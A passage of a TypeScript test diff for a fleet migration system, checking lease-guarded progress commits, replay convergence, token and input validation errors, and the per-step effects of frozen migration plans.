+describe('migration operation fake guarded progress contract', () => {
+  it.each([
+    'missing-operation',
+    'watermark',
+    'other-record',
+    'different-row',
+    'missing-row',
+    'converged',
+  ] as const)('orders the %s convergence identity', async (variant) => {
+    const world = createWorld();
+    await world.start();
+    const initial = copy(world.operationStore.operations.get(uuid()));
+    const row = copy(world.operationStore.rows.get(uuid())?.[0]);
+    if (!initial || !row) throw new Error('missing convergence fixture');
+    const intended = {
+      ...initial,
+      progress: {
+        ...initial.progress,
+        revision: initial.progress.revision + 1,
+      },
+    };
+    const different = {
+      ...row,
+      payload: { ...row.payload, tenantTag: 'other' },
+    };
+    const store = new MemoryOperationStore();
+    if (variant !== 'missing-operation') {
+      store.operations.set(
+        uuid(),
+        variant === 'other-record'
+          ? { ...intended, state: 'failed' }
+          : intended,
+      );
+    }
+    store.rows.set(
+      uuid(),
+      variant === 'missing-row'
+        ? []
+        : [variant === 'converged' ? row : different],
+    );
+    const operationsBefore = structuredClone([...store.operations]);
+    const rowsBefore = structuredClone([...store.rows]);
+    await store.withAccountOperationLease('migration', async (lease) => {
+      const commit = lease.commitProgress({
+        operationId: uuid(),
+        expectedRevision: initial.progress.revision,
+        runRecord: intended,
+        updateRows:
+          variant === 'different-row'
+            ? [
+                { ...row, ordinal: 1, payload: { ...row.payload, ordinal: 1 } },
+                row,
+              ]
+            : [row],
+        expectedRowWatermarks: {
+          item: variant === 'watermark' ? 2 : variant === 'missing-row' ? 0 : 1,
+        },
+      });
+      if (variant === 'converged') {
+        await expect(commit).resolves.toEqual(intended);
+      } else {
+        const message =
+          variant === 'missing-operation'
+            ? `no fleet operation '${uuid()}'`
+            : variant === 'different-row'
+              ? divergence(uuid()).message
+              : conflict(uuid()).message;
+        await expect(commit).rejects.toBeInstanceOf(Error);
+        await expect(commit).rejects.toHaveProperty('message', message);
+      }
+    });
+    expect([...store.operations]).toEqual(operationsBefore);
+    expect([...store.rows]).toEqual(rowsBefore);
+  });
+
+  it.each([
+    { method: 'finalizeOperation', state: 'running' },
+    { method: 'finalizeOperation', state: 'finalized' },
+    { method: 'finalizeOperation', state: 'failed' },
+    { method: 'failOperation', state: 'running' },
+    { method: 'failOperation', state: 'finalized' },
+    { method: 'failOperation', state: 'failed' },
+  ] as const)('$method refuses a foreign-kind $state record using the captured lease', async ({
+    method,
+    state,
+  }) => {
+    const world = createWorld();
+    await world.start();
+    const store = world.operationStore;
+    const initial = copy(store.operations.get(uuid()));
+    if (!initial) throw new Error('missing terminal fixture');
+    const operationId = uuid();
+    const source =
+      state === 'running'
+        ? initial
+        : {
+            ...initial,
+            progress: {
+              ...initial.progress,
+              revision: initial.progress.revision + 1,
+            },
+          };
+    store.heads.set('audit', uuid(991));
+    store.operations.set(
+      operationId,
+      fleetOperationRunRecordFromUnknown({
+        ...source,
+        state,
+        progress: {
+          ...source.progress,
+          ...(state === 'failed'
+            ? { failure: { reason: 'operator-abandoned' } }
+            : {}),
+          ...(state === 'finalized' ? { completedItemCount: 1 } : {}),
+        },
+      }),
+    );
+    const operationsBefore = structuredClone([...store.operations]);
+    const rowsBefore = structuredClone([...store.rows]);
+    const headsBefore = [...store.heads];
+    await store.withAccountOperationLease('audit', async (lease) => {
+      const runRecord = fleetOperationRunRecordFromUnknown({
+        ...source,
+        kind: 'audit',
+        state: method === 'finalizeOperation' ? 'finalized' : 'failed',
+        progress: {
+          kind: 'audit',
+          revision: initial.progress.revision + 1,
+          stage: { step: 'finalize' },
+          generation: 1,
+          auditTimeMs: 0,
+          staleAfterMs: 60_000,
+          recordCount: 0,
+          findingCount: 0,
+          factCount: 0,
+          ...(method === 'failOperation'
+            ? { failure: { reason: 'operator-abandoned' } }
+            : {}),
+        },
+      });
+      const input = {
+        operationId,
+        expectedRevision: initial.progress.revision,
+        runRecord,
+      };
+      const result =
+        method === 'finalizeOperation'
+          ? lease.finalizeOperation({ ...input, expectedRowCounts: {} })
+          : lease.failOperation(input);
+      await expect(result).rejects.toBeInstanceOf(Error);
+      await expect(result).rejects.toHaveProperty(
+        'message',
+        fleetOperationOtherKindMessage(operationId),
+      );
+      expect([...store.operations]).toEqual(operationsBefore);
+      expect([...store.rows]).toEqual(rowsBefore);
+      expect([...store.heads]).toEqual(headsBefore);
+    });
+  });
+
+  it('refuses missing updates and different immutable bytes before sibling writes, and accepts exact retries', async () => {
+    const world = createWorld();
+    await world.start(uuid(), [world.initial, world.initial]);
+    const initial = copy(world.operationStore.operations.get(uuid()));
+    const staged = copy(world.operationStore.rows.get(uuid()));
+    const row = staged?.[0];
+    const secondRow = staged?.[1];
+    if (!initial || !row || !secondRow)
+      throw new Error('missing commit fixture');
+    const intended = {
+      ...initial,
+      progress: {
+        ...initial.progress,
+        revision: initial.progress.revision + 1,
+      },
+    };
+    const different = {
+      ...row,
+      payload: { ...row.payload, tenantTag: 'other' },
+    };
+    const updated = {
+      ...secondRow,
+      payload: { ...secondRow.payload, tenantTag: 'updated' },
+    };
+    const sibling = {
+      ...row,
+      ordinal: 2,
+      payload: { ...row.payload, ordinal: 2 },
+    };
+    const missing = {
+      ...row,
+      ordinal: 3,
+      payload: { ...row.payload, ordinal: 3 },
+    };
+    for (const variant of ['missing-update', 'different-insert', 'exact']) {
+      const store = new MemoryOperationStore();
+      store.operations.set(uuid(), copy(initial));
+      store.heads.set('migration', uuid());
+      store.rows.set(uuid(), copy([row, secondRow]));
+      const input = {
+        operationId: uuid(),
+        expectedRevision: initial.progress.revision,
+        runRecord: intended,
+        rows: [sibling, variant === 'different-insert' ? different : row],
+        updateRows:
+          variant === 'missing-update' ? [updated, missing] : [updated],
+        expectedRowWatermarks: { item: 1 },
+      };
+      await store.withAccountOperationLease('migration', async (lease) => {
+        const result = await lease
+          .commitProgress(input)
+          .catch((error: unknown) => error);
+        if (variant === 'exact') {
+          expect(store.operations.get(uuid())).toEqual(intended);
+          expect(store.rows.get(uuid())).toEqual([row, updated, sibling]);
+          expect(result).toEqual(intended);
+          expect(await lease.commitProgress(copy(input))).toEqual(intended);
+          expect(store.operations.get(uuid())).toEqual(intended);
+          expect(store.rows.get(uuid())).toEqual([row, updated, sibling]);
+        } else {
+          expect(store.operations.get(uuid())).toEqual(initial);
+          expect(store.rows.get(uuid())).toEqual([row, secondRow]);
+          expect(store.heads.get('migration')).toBe(uuid());
+          expect(result).toBeInstanceOf(Error);
+          if (variant === 'missing-update') {
+            expect(result).toHaveProperty('message', conflict(uuid()).message);
+          }
+        }
+      });
+    }
+    for (const state of ['running', 'failed'] as const) {
+      const store = new MemoryOperationStore();
+      const persisted = { ...intended, state };
+      store.operations.set(uuid(), copy(persisted));
+      store.rows.set(uuid(), copy([row, secondRow]));
+      await store.withAccountOperationLease('migration', async (lease) => {
+        const error = await lease
+          .commitProgress({
+            operationId: uuid(),
+            expectedRevision: initial.progress.revision,
+            runRecord: intended,
+            rows: [sibling, different],
+            updateRows: [updated, missing],
+            expectedRowWatermarks: { item: 1 },
+          })
+          .catch((error: unknown) => error);
+        expect(store.operations.get(uuid())).toEqual(persisted);
+        expect(store.rows.get(uuid())).toEqual([row, secondRow]);
+        expect(error).toHaveProperty(
+          'message',
+          state === 'failed'
+            ? conflict(uuid()).message
+            : divergence(uuid()).message,
+        );
+      });
+    }
+  });
+
+  it('compares record payloads canonically for fresh commits and convergence', async () => {
+    const record = baseRecord(deploymentSpec('canonical'));
+    const stored: FleetOperationStagedRow = {
+      rowKind: 'record',
+      ordinal: 0,
+      payload: { ...record },
+    };
+    const reordered = {
+      ...stored,
+      payload: Object.fromEntries(Object.entries(record).reverse()),
+    };
+    expect(JSON.stringify(stored.payload)).not.toBe(
+      JSON.stringify(reordered.payload),
+    );
+    const initial: FleetOperationRunRecord = {
+      version: 1,
+      operationId: uuid(),
+      kind: 'audit',
+      state: 'running',
+      progress: { kind: 'audit', revision: 0 },
+      updatedAt: new Date(NOW).toISOString(),
+    };
+    const intended = {
+      ...initial,
+      progress: { ...initial.progress, revision: 1 },
+    };
+    const store = new MemoryOperationStore();
+    store.operations.set(uuid(), copy(initial));
+    store.rows.set(uuid(), copy([stored]));
+    await store.withAccountOperationLease('audit', async (lease) => {
+      const input = {
+        operationId: uuid(),
+        expectedRevision: 0,
+        runRecord: intended,
+        rows: [reordered],
+        expectedRowWatermarks: { record: 1 },
+      };
+      const error = await lease
+        .commitProgress({
+          ...input,
+          rows: [
+            { ...stored, ordinal: 1 },
+            { ...stored, payload: { ...stored.payload, tenantTag: 'other' } },
+          ],
+        })
+        .catch((error: unknown) => error);
+      expect(store.operations.get(uuid())).toEqual(initial);
+      expect(store.rows.get(uuid())).toEqual([stored]);
+      expect(error).toBeInstanceOf(Error);
+      for (let retry = 0; retry < 2; retry += 1) {
+        expect(await lease.commitProgress(copy(input))).toEqual(intended);
+        expect(store.operations.get(uuid())).toEqual(intended);
+        expect(JSON.stringify(store.rows.get(uuid()))).toBe(
+          JSON.stringify([stored]),
+        );
+      }
+    });
+  });
+
+  it('refuses multiple failure updates before changing rows or releasing the head', async () => {
+    const world = createWorld();
+    await world.start(uuid(), [world.initial, world.initial]);
+    const store = world.operationStore;
+    const initial = copy(store.operations.get(uuid()));
+    const rows = copy(store.rows.get(uuid()));
+    if (!initial || !rows) throw new Error('missing failure fixture');
+    await store.withAccountOperationLease('migration', async (lease) => {
+      const error = await lease
+        .failOperation({
+          operationId: uuid(),
+          expectedRevision: initial.progress.revision,
+          runRecord: {
+            ...initial,
+            state: 'failed',
+            progress: {
+              ...initial.progress,
+              revision: initial.progress.revision + 1,
+            },
+          },
+          updateRows: rows.map((row) => ({
+            ...row,
+            payload: { ...row.payload, status: 'failed' },
+          })),
+        })
+        .catch((error: unknown) => error);
+      expect(store.operations.get(uuid())).toEqual(initial);
+      expect(store.rows.get(uuid())).toEqual(rows);
+      expect(store.heads.get('migration')).toBe(uuid());
+      expect(error).toHaveProperty(
+        'message',
+        FLEET_OPERATION_SINGLE_UPDATE_ROW_MESSAGE,
+      );
+    });
+  });
+});
+
+describe('bounded fleet migration', () => {
+  it('start freezes the exact legacy order (dup-canary last-wins, stable equal rank, localeCompare)', async () => {
+    const world = createWorld();
+    const records = [
+      baseRecord(deploymentSpec('gamma')),
+      { ...baseRecord(deploymentSpec('cedar')), environment: 'staging' },
+      baseRecord(deploymentSpec('birch')),
+      baseRecord(deploymentSpec('cedar')),
+      baseRecord(deploymentSpec('alpha')),
+    ];
+    const expected = [
+      records[2],
+      records[1],
+      records[3],
+      records[4],
+      records[0],
+    ].map((record) => copy(record));
+    const canaries = ['cedar', 'birch', 'cedar'];
+    const action = {
+      kind: 'start' as const,
+      operationId: uuid(),
+      records,
+      canaryTenantTags: canaries,
+    };
+    let idReads = 0;
+    Object.defineProperty(action, 'operationId', {
+      get: () => {
+        expect(++idReads).toBe(1);
+        return uuid();
+      },
+    });
+    world.operationStore.beforeLease = () => {
+      records.reverse();
+      records[0] = baseRecord(deploymentSpec('replaced'));
+      canaries.reverse();
+    };
+    await advanceFleetMigration(world.options(action));
+    const items = (
+      await readFleetMigrationItemsPage(world.operationStore, {
+        operationId: uuid(),
+        limit: 100,
+      })
+    ).items;
+    expect(
+      items.map(({ tenantTag, environment }) => `${tenantTag}:${environment}`),
+    ).toEqual(
+      expected.map((record) => `${record?.tenantTag}:${record?.environment}`),
+    );
+    expect(items.map(({ canaryRank }) => canaryRank)).toEqual([
+      1,
+      2,
+      2,
+      undefined,
+      undefined,
+    ]);
+    expect(items.map(({ entryRecordDigest }) => entryRecordDigest)).toEqual(
+      expected.map(fleetOperationIntakeDigest),
+    );
+    expect(world.ops).toEqual([]);
+    expect(world.fleetStore.ops).toEqual([]);
+  });
+
+  it('start replay converges on the classified outcome; item staging is callback-free', async () => {
+    const world = createWorld({ path: 'ready' });
+    const first = await world.start();
+    expect(first).toMatchObject({ status: 'pending', token: { revision: 1 } });
+    expect(world.operationStore.calls).toEqual(['start', 'stage', 'commit']);
+    expect(world.ops).toEqual([]);
+    expect(await world.start()).toEqual(first);
+    expect(world.operationStore.calls).toEqual([
+      'start',
+      'stage',
+      'commit',
+      'start',
+    ]);
+    const admitted = await continueWorld(world, first);
+    const calls = [...world.operationStore.calls];
+    world.ops.length = 0;
+    expect(await world.start()).toEqual(admitted);
+    expect(world.operationStore.calls).toEqual([...calls, 'start']);
+    expect(world.ops).toEqual([]);
+    const completed = await drainWorld(world, admitted);
+    const beforeReplay = [...world.operationStore.calls];
+    world.ops.length = 0;
+    expect(await world.start()).toEqual(completed);
+    expect(world.operationStore.calls).toEqual([...beforeReplay, 'start']);
+    expect(world.ops).toEqual([]);
+
+    for (const staged of [0, 1]) {
+      const interrupted = createWorld();
+      const records = [
+        interrupted.initial,
+        baseRecord(deploymentSpec('other')),
+      ];
+      interrupted.operationStore.stageLimit = staged;
+      await expect(interrupted.start(uuid(), records)).rejects.toThrow(
+        'staging interrupted',
+      );
+      expect(interrupted.operationStore.rows.get(uuid())?.length ?? 0).toBe(
+        staged,
+      );
+      const pending = await advanceFleetMigration(
+        interrupted.options({
+          kind: 'continue',
+          token: { version: 1, operationId: uuid(), revision: 0 },
+        }),
+      );
+      expect(pending).toMatchObject({
+        status: 'pending',
+        token: { revision: 0 },
+      });
+      expect(interrupted.ops).toEqual([]);
+      await interrupted.start(uuid(), records);
+      expect(interrupted.operationStore.rows.get(uuid())).toHaveLength(2);
+      expect(interrupted.operationStore.item().status).toBe('pending');
+      expect(interrupted.ops).toEqual([]);
+    }
+    const responseLost = createWorld();
+    responseLost.operationStore.loseCommit = 'after';
+    await expect(responseLost.start()).rejects.toThrow(
+      'progress response lost',
+    );
+    const replayed = await responseLost.start();
+    expect(replayed).toMatchObject({
+      status: 'pending',
+      token: { revision: 1 },
+    });
+    expect(
+      responseLost.operationStore.calls.filter((call) => call === 'commit'),
+    ).toHaveLength(1);
+    expect(responseLost.ops).toEqual([]);
+
+    const composed = responseLost.operationStore.commits[0];
+    if (!composed) throw new Error('missing committed start');
+    await responseLost.operationStore.withAccountOperationLease(
+      'migration',
+      async (lease) => {
+        await expect(lease.commitProgress(composed)).resolves.toEqual(
+          composed.runRecord,
+        );
+        await expect(lease.commitProgress(copy(composed))).resolves.toEqual(
+          composed.runRecord,
+        );
+        await expect(
+          lease.commitProgress({
+            ...composed,
+            runRecord: {
+              ...composed.runRecord,
+              updatedAt: '2000-01-01T00:00:00.000Z',
+            },
+          }),
+        ).rejects.toThrow('expected revision');
+      },
+    );
+    const empty = createWorld();
+    const emptyStart = await empty.start(uuid(), []);
+    expect(await continueWorld(empty, emptyStart)).toMatchObject({
+      status: 'complete',
+      result: { itemCount: 0, completedItemCount: 0 },
+    });
+    expect(empty.ops).toEqual([]);
+    const invalidReplay = createWorld();
+    await invalidReplay.start(uuid(), [
+      invalidReplay.initial,
+      invalidReplay.initial,
+    ]);
+    const intended = invalidReplay.operationStore.operations.get(uuid());
+    const persistedRows = copy(invalidReplay.operationStore.rows.get(uuid()));
+    const row = persistedRows?.[1];
+    if (!intended || !row) throw new Error('missing replay fixture');
+    for (const mutations of [
+      { rows: [row, row] },
+      { rows: [row], updateRows: [row] },
+      { updateRows: [row, row] },
+      { updateRows: [{ ...row, rowKind: 'record' as const }] },
+    ]) {
+      await invalidReplay.operationStore.withAccountOperationLease(
+        'migration',
+        async (lease) => {
+          await expect(
+            lease.commitProgress({
+              operationId: uuid(),
+              expectedRevision: 0,
+              runRecord: intended,
+              expectedRowWatermarks: { item: 2 },
+              ...mutations,
+            }),
+          ).rejects.toBeInstanceOf(FleetOperationStateError);
+        },
+      );
+      expect(invalidReplay.operationStore.operations.get(uuid())).toEqual(
+        intended,
+      );
+      expect(invalidReplay.operationStore.rows.get(uuid())).toEqual(
+        persistedRows,
+      );
+    }
+  });
+
+  it('intake-digest mismatch conflict', async () => {
+    const world = createWorld();
+    await world.start();
+    await expect(
+      world.start(uuid(), [{ ...world.initial, artifactVersion: 'changed' }]),
+    ).rejects.toThrow('already exists with a different intake');
+    await expect(
+      world.start(uuid(), [world.initial], ['unmatched']),
+    ).rejects.toThrow('already exists with a different intake');
+    expect(world.ops).toEqual([]);
+    expect(world.operationStore.rows.get(uuid())).toHaveLength(1);
+  });
+
+  it('contention under a foreign active migration', async () => {
+    const world = createWorld();
+    await world.start();
+    await expect(world.start(uuid(2))).rejects.toThrow(
+      'another fleet migration operation is active for this account',
+    );
+    expect(world.operationStore.operations.size).toBe(1);
+    expect(world.ops).toEqual([]);
+  });
+
+  it("an audit operation's token yields a kind error", async () => {
+    const world = createWorld();
+    const started = await world.start();
+    const prior = world.operationStore.operations.get(uuid());
+    if (!prior) throw new Error('missing run fixture');
+    world.operationStore.operations.set(uuid(), {
+      ...prior,
+      kind: 'audit',
+      progress: { ...prior.progress, kind: 'audit' },
+    });
+    await expect(continueWorld(world, started)).rejects.toThrow(
+      FleetOperationTokenKindError,
+    );
+    expect(world.ops).toEqual([]);
+  });
+
+  it('stale token returns authoritative state, including failed, with zero provider work', async () => {
+    const world = createWorld();
+    const started = await world.start();
+    const admitted = await continueWorld(world, started);
+    world.ops.length = 0;
+    expect(await continueWorld(world, started)).toEqual(admitted);
+    expect(world.ops).toEqual([]);
+    await abandonFleetMigrationOperation({
+      operationStore: world.operationStore,
+      operationId: uuid(),
+    });
+    world.ops.length = 0;
+    expect(await continueWorld(world, started)).toMatchObject({
+      status: 'failed',
+      failure: { reason: 'operator-abandoned' },
+    });
+    expect(world.ops).toEqual([]);
+  });
+
+  it('future token error', async () => {
+    const world = createWorld();
+    const started = await world.start();
+    await expect(
+      advanceFleetMigration(
+        world.options({
+          kind: 'continue',
+          token: { ...started.token, revision: started.token.revision + 1 },
+        }),
+      ),
+    ).rejects.toThrow(FleetOperationTokenFutureError);
+    expect(world.ops).toEqual([]);
+  });
+
+  it('absent-operation adjudication', async () => {
+    const world = createWorld();
+    await expect(
+      advanceFleetMigration(
+        world.options({
+          kind: 'continue',
+          token: { version: 1, operationId: uuid(), revision: 0 },
+        }),
+      ),
+    ).rejects.toThrow(FleetOperationTokenOperationError);
+    expect(world.ops).toEqual([]);
+    expect(world.operationStore.operations.size).toBe(0);
+  });
+
+  it('operation-store capability error', async () => {
+    for (const member of [
+      'withAccountOperationLease',
+      'readOperationById',
+      'readOperationRowsPage',
+    ] as const) {
+      const world = createWorld();
+      const options = world.options({
+        kind: 'start',
+        operationId: uuid(),
+        records: [world.initial],
+        canaryTenantTags: [],
+      });
+      Object.defineProperty(world.operationStore, member, { value: undefined });
+      await expect(advanceFleetMigration(options)).rejects.toMatchObject({
+        name: 'FleetMigrationAdvanceCapabilityError',
+        capability: 'operation-store',
+        message: 'fleet migration advance requires an operation store',
+      });
+      expect(world.operationStore.calls).toEqual([]);
+      expect(world.ops).toEqual([]);
+    }
+    expect(new FleetMigrationAdvanceCapabilityError()).toBeInstanceOf(Error);
+  });
+
+  it('operationId validation refusal at start', async () => {
+    for (const id of [
+      '',
+      uuid(0xab).toUpperCase(),
+      'not-a-uuid',
+      uuid().replace('-4000-', '-1000-'),
+    ]) {
+      const world = createWorld();
+      await expect(world.start(id)).rejects.toThrow(
+        'operationId must be a lowercase UUIDv4',
+      );
+      expect(world.operationStore.calls).toEqual([]);
+      expect(world.ops).toEqual([]);
+    }
+  });
+
+  it('item-bound and intake byte-bound refusals at start', async () => {
+    const world = createWorld();
+    await expect(
+      world.start(
+        uuid(),
+        Array.from(
+          { length: FLEET_OPERATION_ITEM_BOUND + 1 },
+          () => world.initial,
+        ),
+      ),
+    ).rejects.toThrow('at most 10000 records');
+    const oversized = {
+      ...world.initial,
+      padding: Array.from({ length: 40 }, () => 'x'.repeat(3000)),
+    };
+    expect(JSON.stringify(oversized).length).toBeGreaterThan(
+      FLEET_OPERATION_RECORD_ROW_BYTE_BOUND,
+    );
+    await expect(world.start(uuid(), [oversized])).rejects.toThrow(
+      'record 1 exceeds the staged row byte bound',
+    );
+    const medium = {
+      ...world.initial,
+      padding: Array.from({ length: 25 }, () => 'x'.repeat(3000)),
+    };
+    const count =
+      Math.ceil(
+        FLEET_OPERATION_INTAKE_BYTE_BOUND / JSON.stringify(medium).length,
+      ) + 1;
+    await expect(
+      world.start(
+        uuid(),
+        Array.from({ length: count }, () => medium),
+      ),
+    ).rejects.toThrow('canonical intake exceeds the intake byte bound');
+    await expect(
+      world.start(uuid(), [{ ...world.initial, tenantTag: 'INVALID' }]),
+    ).rejects.toThrow('deployment identifier grammar');
+    const cyclic: Record<string, unknown> = {};
+    cyclic.self = cyclic;
+    const nested: unknown[] = [];
+    let cursor = nested;
+    for (let index = 0; index < 65; index += 1) {
+      const next: unknown[] = [];
+      cursor.push(next);
+      cursor = next;
+    }
+    for (const canaries of [
+      null,
+      3,
+      'cedar',
+      [3],
+      cyclic,
+      nested,
+      ['x'.repeat(4097)],
+    ]) {
+      const options = world.options({
+        kind: 'start',
+        operationId: uuid(),
+        records: [world.initial],
+        canaryTenantTags: canaries as readonly string[],
+      });
+      await expect(advanceFleetMigration(options)).rejects.toThrow(
+        /canaryTenantTags/,
+      );
+    }
+    expect(world.operationStore.calls).toEqual([]);
+    expect(world.ops).toEqual([]);
+  });
+
+  it('the ADMIT call is mutation-free and commits the stored target digest, frozen plan and cursor zero', async () => {
+    const world = createWorld();
+    world.fleetStore.set({
+      ...world.initial,
+      schemaVersion: 2,
+      artifactVersion: 'stored-v2',
+    });
+    const started = await world.start();
+    const admitted = await continueWorld(world, started);
+    expect(admitted).toMatchObject({
+      status: 'pending',
+      itemOrdinal: 0,
+      planCursor: 0,
+    });
+    expect(world.fleetStore.puts).toEqual([]);
+    expect(world.ops).toEqual([
+      'backend:cedar',
+      'spec:cedar',
+      'secrets:cedar',
+      'getDatabase',
+      'readDeploymentIdentity',
+    ]);
+    expect(world.operationStore.item()).toMatchObject({
+      entryRecordDigest: fleetOperationIntakeDigest(world.initial),
+      targetSpecDigest: deploymentSpecDigest(world.spec),
+      planCursor: 0,
+      status: 'active',
+    });
+    expect(
+      world.operationStore
+        .item()
+        .plan?.filter(({ step }) => step === 'apply-migrations'),
+    ).toEqual([{ step: 'apply-migrations', targetSchemaVersion: 3 }]);
+    expect(world.fleetStore.ops.filter((op) => op === 'get')).toHaveLength(1);
+  });
+
+  it('retire-pre joins the plan only with both admission conjuncts and its re-run no-ops', async () => {
+    const world = createWorld({ external: true });
+    world.fleetStore.set({
+      ...world.initial,
+      retiringRelease: {
+        ...world.priorRelease,
+        physicalScriptName: 'expired-release',
+      },
+    });
+    const admitted = await continueWorld(world, await world.start());
+    expect(world.operationStore.item().plan?.[0]).toEqual({
+      step: 'retire-pre',
+    });
+    world.operationStore.loseCommit = 'before';
+    await expect(continueWorld(world, admitted)).rejects.toThrow(
+      'progress response lost',
+    );
+    expect(world.current().retiringRelease).toBeUndefined();
+    expect(world.ops).toContain('retire:expired-release');
+    world.ops.length = 0;
+    const puts = world.fleetStore.puts.length;
+    await continueWorld(world, admitted);
+    expect(world.ops.some((op) => op.startsWith('retire:'))).toBe(false);
+    expect(world.fleetStore.puts).toHaveLength(puts);
+    const migrating = createWorld();
+    migrating.fleetStore.set({
+      ...migrating.initial,
+      phase: 'migrating',
+      pendingSpecDigest: deploymentSpecDigest(migrating.spec),
+      retiringRelease: world.priorRelease,
+    });
+    await continueWorld(migrating, await migrating.start());
+    expect(migrating.operationStore.item().plan?.[0]).toEqual({
+      step: 'assert-migrating',
+    });
+    const noRetirement = createWorld();
+    await continueWorld(noRetirement, await noRetirement.start());
+    expect(
+      noRetirement.operationStore
+        .item()
+        .plan?.some(({ step }) => step === 'retire-pre'),
+    ).toBe(false);
+  });
+
+  it('each version-applying occurrence applies exactly its frozen targetSchemaVersion, one per call', async () => {
+    const world = createWorld({ schemaVersion: 4 });
+    let token = await advanceTo(world, 'apply-migrations');
+    expect(
+      world.operationStore
+        .item()
+        .plan?.filter(({ step }) => step === 'apply-migrations'),
+    ).toEqual(
+      [2, 3, 4].map((targetSchemaVersion) => ({
+        step: 'apply-migrations',
+        targetSchemaVersion,
+      })),
+    );
+    for (const version of [2, 3, 4]) {
+      world.ops.length = 0;
+      token = await continueWorld(world, token);
+      expect(world.ops.filter((op) => op.startsWith('apply:'))).toEqual([
+        `apply:${version}`,
+      ]);
+      expect(world.current().schemaVersion).toBe(version);
+      expect([...world.ledger]).toEqual(
+        Array.from({ length: version }, (_, index) => index + 1),
+      );
+    }
+  });
+
+  it('the zero-pending occurrence has no targetSchemaVersion and performs ledger verification', async () => {
+    const world = createWorld();
+    world.fleetStore.set({ ...world.initial, schemaVersion: 3 });
+    world.ledger.add(2);
+    world.ledger.add(3);
+    const token = await advanceTo(world, 'apply-migrations');
+    expect(
+      world.operationStore
+        .item()
+        .plan?.filter(({ step }) => step === 'apply-migrations'),
+    ).toEqual([{ step: 'apply-migrations' }]);
+    world.ops.length = 0;
+    const puts = world.fleetStore.puts.length;
+    await continueWorld(world, token);
+    expect(world.ops.filter((op) => op.startsWith('apply:'))).toEqual([
+      'apply:verify',
+    ]);
+    expect(world.fleetStore.puts).toHaveLength(puts);
+  });
+
+  it('per-step mutations match the table across all three plans, including exact admitted intent bytes', async () => {
+    const effects = (ops: readonly string[]) =>
+      ops.filter(
+        (op) =>
+          !/^(backend:|spec:|secrets:)/u.test(op) &&
+          ![
+            'releaseScriptName',
+            'describeTarget',
+            'getDatabase',
+            'readDeploymentIdentity',
+          ].includes(op),
+      );
+    for (const config of [
+      { path: 'ready', external: true },
+      { path: 'platform-only', external: true },
+      { path: 'full', external: true },
+      { path: 'full', external: false },
+    ] as const) {
+      const world = createWorld(config);
+      let token = await continueWorld(world, await world.start());
+      const plan = world.operationStore.item().plan;
+      if (!plan) throw new Error('missing frozen plan');
+      const expected: Partial<Record<FleetMigrationStep, readonly string[]>> = {
+        'ready-target-backfill': [],
+        'ready-platform-resources': ['platform'],
+        'ready-maintenance': ['inspect'],
+        'ready-promote': ['promote'],
+        'ready-attest-settle': ['settlementFor', 'attest', 'settle'],
+        'ready-retire-post': [],
+        'admit-migrating': [],
+        'assert-migrating': [],
+        'platform-only-schema': [],
+        'platform-only-resources': ['platform'],
+        'platform-only-maintenance': ['inspect', 'maintenance'],
+        'platform-only-promote': ['inspect', 'promote'],
+        'platform-only-ready': ['inspect', 'settlementFor', 'attest', 'settle'],
+        'seed-identity': ['seed:cedar'],
+        'migration-schema-applied': [],
+        'platform-resources': config.external ? ['platform'] : [],
+        'pending-topology': [],
+        'deploy-candidate': config.external
+          ? ['deploy', 'inspect']
+          : ['inspect', 'deploy', 'inspect'],
+        'arm-maintenance': ['maintenance'],
+        promote: ['inspect', 'promote'],
+        'settle-ready': ['inspect', 'settlementFor', 'attest', 'settle'],
+        'retire-post': [],
+      };
+      const expectedPuts: Partial<Record<FleetMigrationStep, number>> = {
+        'ready-target-backfill': 0,
+        'ready-platform-resources': 0,
+        'ready-maintenance': 0,
+        'ready-promote': 1,
+        'ready-attest-settle': 1,
+        'ready-retire-post': 0,
+        'admit-migrating': 1,
+        'assert-migrating': 0,
+        'platform-only-schema': 1,
+        'platform-only-resources': 2,
+        'platform-only-maintenance': 1,
+        'platform-only-promote': 1,
+        'platform-only-ready': 1,
+        'seed-identity': 0,
+        'apply-migrations': 1,
+        'migration-schema-applied': config.external ? 1 : 0,
+        'platform-resources': config.external ? 2 : 0,
+        'pending-topology': config.external ? 1 : 0,
+        'deploy-candidate': 2,
+        'arm-maintenance': config.external ? 1 : 0,
+        promote: config.external ? 1 : 0,
+        'settle-ready': 1,
+        'retire-post': 0,
+      };
+      for (const [cursor, entry] of plan.entries()) {
+        world.ops.length = 0;
+        world.fleetStore.ops.length = 0;
+        const puts = world.fleetStore.puts.length;
+        const commits = world.operationStore.calls.filter(
+          (op) => op === 'commit',
+        ).length;
+        token = await continueWorld(world, token);
+        expect(
+          effects(world.ops),
+          `${config.path}/${config.external}/${entry.step}`,
+        ).toEqual(
+          entry.step === 'apply-migrations'
+            ? [`apply:${entry.targetSchemaVersion}`]
+            : expected[entry.step],
+        );
+        expect(
+          world.fleetStore.puts.length - puts,
+          `${config.path}/${config.external}/${entry.step} puts`,
+        ).toBe(expectedPuts[entry.step]);
+        expect(world.fleetStore.ops.filter((op) => op === 'get')).toHaveLength(
+          1,
+        );
+        expect(
+          world.operationStore.calls.filter((op) => op === 'commit'),
+        ).toHaveLength(commits + 1);
+        expect(world.operationStore.item().planCursor).toBe(cursor + 1);
+        if (entry.step === 'admit-migrating' && config.external) {
+          const intent = world.current().migrationIntent;
+          const common = {
+            targetSpecDigest: deploymentSpecDigest(world.spec),
+            priorRelease: world.priorRelease,
+            priorTarget: world.priorTarget,
+            priorOutboundPolicy: world.priorTarget.outboundPolicy,
+            subphase: 'planned',
+          };
+          expect(intent).toStrictEqual(
+            config.path === 'platform-only'
+              ? {
+                  platformOnly: true,
+                  ...common,
+                  targetRelease: world.priorRelease,
+                  target: world.targetFor(world.spec),
+                }
+              : {
+                  ...common,
+                  targetRelease: {
+                    physicalScriptName: externalReleaseScriptName(world.spec),
+                    specDigest: deploymentSpecDigest(world.spec),
+                    artifactVersion: 'pending',
+                    releaseSchemaVersion: world.spec.schemaVersion,
+                    application: EMPTY_APPLICATION,
+                  },
+                  target: world.targetFor(world.spec),
+                },
+          );
+          expect(Object.hasOwn(intent ?? {}, 'platformOnly')).toBe(
+            config.path === 'platform-only',
+          );
+        }
+      }
+      expect(world.operationStore.item().status).toBe('complete');
+      expect(world.current().phase).toBe('ready');
+      expect((await continueWorld(world, token)).status).toBe('complete');
+    }
+    for (const config of [
+      { path: 'full', external: false },
+      { path: 'full', external: true },
+      { path: 'platform-only', external: true },
+    ] as const) {
+      const world = createWorld(config);
+      const token = await advanceTo(world, 'admit-migrating');
+      const cursor = world.operationStore.item().planCursor;
